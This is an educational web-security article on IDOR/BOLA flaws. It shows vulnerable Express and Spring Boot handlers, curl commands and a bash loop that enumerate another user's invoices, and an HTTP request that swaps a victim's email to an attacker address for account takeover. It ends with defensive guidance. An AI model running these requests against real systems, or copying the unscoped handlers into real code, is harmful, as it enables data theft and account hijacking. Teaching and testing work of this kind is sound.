Insecure Direct Object References (IDOR) and BOLA

Insecure Direct Object References (IDOR) and BOLA - article cover image Web Exploitation
Time it takes to read this article 7 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Insecure Direct Object Reference (IDOR) — renamed and generalized in the OWASP API Security Top 10 as Broken Object Level Authorization (BOLA) — is what happens when an application exposes a reference to an internal object (a database row ID, a filename, a UUID, an account number) and then serves or mutates that object *based on the reference alone*, without checking whether the requesting user is actually entitled to it. The application authenticates the user correctly, and often even authorizes that the user is allowed to call the endpoint at all — it simply forgets to ask the second question: allowed to access *this specific* object?

BOLA has topped the OWASP API Security Top 10 (API1:2019 and again API1:2023) for years, and for good reason: it requires no exotic tooling, no injection payload, and no client-side trickery — just incrementing or substituting an identifier. Impact ranges from horizontal privilege escalation (Alice reads Bob’s invoice) to full account takeover (Alice changes Bob’s password-reset email) to mass data exfiltration when an identifier space is small and sequential enough to enumerate end to end.

Attack Prerequisites

IDOR/BOLA is one of the lowest-barrier web vulnerability classes to find and exploit. The attacker typically needs:

  • A valid session of their own (in most cases) — a low-privileged, even free-tier, account that can reach the vulnerable endpoint.
  • A visible or guessable object identifier — sequential integers, predictable UUIDs (v1, timestamp-derived), Base64-encoded IDs, or identifiers leaked in other API responses, emails, or invoices.
  • An endpoint that fetches, updates, or deletes an object by that identifier without an ownership/tenancy check — REST path parameters (/api/orders/{id}), query strings, and JSON bodies are all equally vulnerable; GraphQL and mobile-app-only APIs are frequently *more* vulnerable because they receive less manual scrutiny.

How It Works

Most web frameworks give developers two authorization primitives almost for free: authentication middleware (is there a valid session/token?) and route-level authorization (is this role allowed to call this endpoint?). Object-level authorization — is *this* authenticated, authorized user allowed to touch *this* row? — is not free. It requires the handler to take the user’s identity from the trusted session/token and cross-check it against the ownership or ACL data of the specific record being requested, on every single access path to that object: read, list, update, delete, export, and any admin or support back-office route that reuses the same data layer.

The vulnerability is a missing comparison, not a missing feature — the code usually *looks* correct at a glance because it does check authentication and does query the database. The bug is that the query is keyed only on the object ID supplied by the client (WHERE id = ?) instead of being scoped to the caller (WHERE id = ? AND user_id = ?, or WHERE id = ? AND tenant_id = ? in multi-tenant systems). Because the query still succeeds and returns a real row, there is no error to signal the bug — the response looks exactly like a legitimate one, just for the wrong owner.

BOLA generalizes IDOR to modern API surfaces: mobile back ends, GraphQL resolvers, and microservice-to-microservice calls, where a gateway or load balancer authenticates the request but the individual resolver/service still has to independently enforce object ownership. In microservice architectures this is aggravated by ‘trust the caller’ patterns, where an internal service assumes upstream services already checked authorization and skips the check itself — so a single unauthenticated internal endpoint reachable through an unrelated public API becomes a full bypass.

Vulnerable Code / Configuration

The canonical vulnerable pattern: an Express/Node handler that trusts the path parameter and never compares it against the requester’s identity.

// GET /api/invoices/:id
app.get('/api/invoices/:id', requireAuth, async (req, res) => {
  // VULNERABLE: fetch keyed only on the client-supplied id
  const invoice = await db.query(
    'SELECT * FROM invoices WHERE id = ?', [req.params.id]
  );
  if (!invoice) return res.sendStatus(404);
  return res.json(invoice);   // no check that invoice.user_id === req.user.id
});
// Any logged-in user can page through /api/invoices/1 ... /api/invoices/99999
JavaScript

The same bug on a write path is more dangerous — it becomes a BOLA that lets one tenant modify another tenant’s data in a Spring Boot service:

@PutMapping("/api/accounts/{accountId}/email")
public ResponseEntity<?> updateEmail(@PathVariable Long accountId,
                                      @RequestBody EmailUpdate body,
                                      Authentication auth) {
    // VULNERABLE: accountId from the URL is used directly, no tenant
    // or ownership comparison against the authenticated principal
    Account acc = accountRepository.findById(accountId)
                       .orElseThrow(NotFoundException::new);
    acc.setEmail(body.getEmail());
    accountRepository.save(acc);
    return ResponseEntity.ok().build();
}
// Correct fix: findByIdAndOwnerId(accountId, currentUserId(auth))
Java

Walkthrough / Exploitation

Step one is always mapping identifiers: log in with two low-privileged test accounts and diff every response for any field that looks like an internal reference — not just the obvious id in the URL, but IDs nested in JSON bodies, Location headers, hidden form fields, and JWT claims.

# Capture both accounts' traffic through Burp, then diff identifiers
# across equivalent requests (Burp Comparer, or manually):
curl -s -H "Authorization: Bearer $TOKEN_ALICE" \
  https://api.target.com/api/invoices/1042 | jq .
curl -s -H "Authorization: Bearer $TOKEN_ALICE" \
  https://api.target.com/api/invoices/1041 | jq .
# If 1041 belongs to a different account and still returns 200, that's IDOR.
Bash

Once a horizontal-access bug is confirmed, automate enumeration to gauge blast radius. Burp Intruder or a small script sweeping the ID space is usually enough — this is also the step that proves impact for a report:

# Sweep a sequential ID space with Alice's own valid token
for id in $(seq 1 2000); do
  code=$(curl -s -o /tmp/resp_$id.json -w '%{http_code}' \
    -H "Authorization: Bearer $TOKEN_ALICE" \
    https://api.target.com/api/invoices/$id)
  [ "$code" = "200" ] && echo "id=$id -> 200"
done
Bash

For write-path BOLA (the more damaging class), replay a legitimate update request but swap the object ID for one owned by the victim account, leaving the auth token as the attacker’s own:

PUT /api/accounts/58831/email HTTP/1.1
Host: api.target.com
Authorization: Bearer <ALICE_TOKEN>
Content-Type: application/json

{"email": "attacker@evil.example"}

# 58831 is Bob's account ID. If this returns 200 and Bob's email
# actually changes, the attacker can now trigger a password reset
# to their own inbox -> full account takeover.
HTTP

Note: Sequential integer IDs make enumeration trivial, but switching to UUIDs is not a fix — it only raises the cost of *guessing* an ID; it does nothing if IDs are ever disclosed elsewhere (other API responses, emails, PDFs, referral links, GraphQL introspection). The only real fix is enforcing ownership server-side on every access path, regardless of how unguessable the identifier is.

Opsec / Testing tip: Always test IDOR with two independent low-privileged accounts you control, never with production victim data. Test every HTTP verb (GET, PUT, PATCH, DELETE) and every representation of the same resource (REST route, GraphQL field, bulk/export endpoint, mobile-only API) — it is common to find an endpoint properly scoped in the web UI but unscoped in a legacy or mobile-only route that reaches the same table.

Detection and Defense

BOLA is prevented with a single consistent principle applied everywhere: authorize the object, not just the endpoint, on every request.

  • Scope every query to the callerWHERE id = ? AND user_id = ? (or tenant_id), never WHERE id = ? alone, enforced at the data-access layer so individual handlers cannot forget it.
  • Centralize authorization — a policy layer (e.g. an ORM-level scope, a middleware, or a library like Oso/OPA) checked on every object load is far more reliable than hand-rolled if checks copy-pasted across dozens of handlers.
  • Use indirect references for sensitive objects — server-side mapping of opaque per-session tokens to real IDs (OWASP’s original IDOR mitigation) removes the client’s ability to enumerate at all.
  • Deny by default — a 404 (not a 403) for objects that exist but are not owned by the caller avoids leaking existence, and every new endpoint should fail closed until an explicit ownership check is added.
  • Log and alert on anomalous access patterns — one account requesting hundreds of sequential or unrelated object IDs in a short window is a strong IDOR-scanning signal.
  • Automated authorization testing in CI — assert account A’s token cannot read/write account B’s resources, for every endpoint.

Real-World Impact

BOLA/IDOR has been at or near the top of the OWASP API Security Top 10 since its first edition and shows up constantly in bug-bounty disclosures because it requires no special tooling — a burp repeater and a second test account are enough. High-profile incidents attributed to this class include the 2019 First American Title breach, where over 800 million sensitive documents were exposed because sequential document IDs in a URL required no authentication check at all, and numerous fintech and healthcare API disclosures where changing an account_id or patient_id parameter exposed another customer’s financial or medical records.

Conclusion

IDOR and BOLA endure because they are a logic gap, not a code-execution bug — nothing crashes, no error fires, and the response looks legitimate for the wrong user. Closing the gap means treating object-level authorization as a mandatory check on every data-access path, not an afterthought layered on top of authentication, and verifying that assumption continuously with cross-account authorization tests rather than trusting that unguessable IDs are protection enough.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL